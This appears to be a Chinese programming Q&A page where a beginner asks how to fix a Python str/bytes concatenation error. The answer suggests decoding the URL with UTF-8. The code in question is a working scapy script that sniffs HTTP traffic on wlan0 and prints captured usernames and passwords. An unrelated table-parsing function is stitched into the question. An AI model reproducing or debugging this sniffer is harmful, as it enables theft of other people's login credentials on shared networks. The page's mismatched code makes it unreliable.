如何解决如何解决错误只能将str而不是“字节”连接到str
嘿,我需要帮助来解决这个错误。我尝试对第 24 行和关键字进行编码。但这会产生另一个错误......,
def get_table_data(file_path = 'FlatTextFile.txt',table_keyword = 'pk_tbl',table_num = '101',data_keyword = 'drink'):
output_ls = []
with open(file_path,'r') as fh:
table = False
data = False
for line in fh.readlines():
if not len(line.strip()): # Ignoring blank lines
continue
row = line.split()
if not table: # Searching for table keyword and number
if row[0] == table_keyword and row[1] == table_num:
table = True
else:
if row[0] == table_keyword: # I'm already at next table
break
if not data: # Searching for data keyword
if row[0] == data_keyword:
data = True
output_ls.append(line)
else: # Searching for more consecutive data keywords
if row[0] == data_keyword:
output_ls.append(line)
else:
break
return output_ls
,
错误
#!/usr/bin/env python
import scapy.all as scapy
from scapy.layers import http
def sniff(interface):
scapy.sniff(iface=interface,store=False,prn=process_sniffed_packets)
def get_url(packet):
return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path
def get_login_info(packet):
if packet.haslayer(scapy.Raw):
load = packet[scapy.Raw].load
keywords = ["username","user","password","pass","login"]
for keyword in keywords:
if keyword in load:
return load
def process_sniffed_packets(packet):
if packet.haslayer(http.HTTPRequest):
url = get_url(packet)
print("[+] HTTP Request >>" + url)
login_info = get_login_info(packet)
if login_info:
print("\n\n[+] Possible username/password >" + login_info + "\n\n")
sniff("wlan0")
任何想法如何解决它! 我尝试了很多方法来弄清楚。我是python的初学者。我缺乏对编码/解码/unicode 的理解。
解决方法
替换
print("[+] HTTP Request >>" + url)
与
print("[+] HTTP Request >>" + url.decode("utf-8"))
这会将 url
转换为字符串。
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。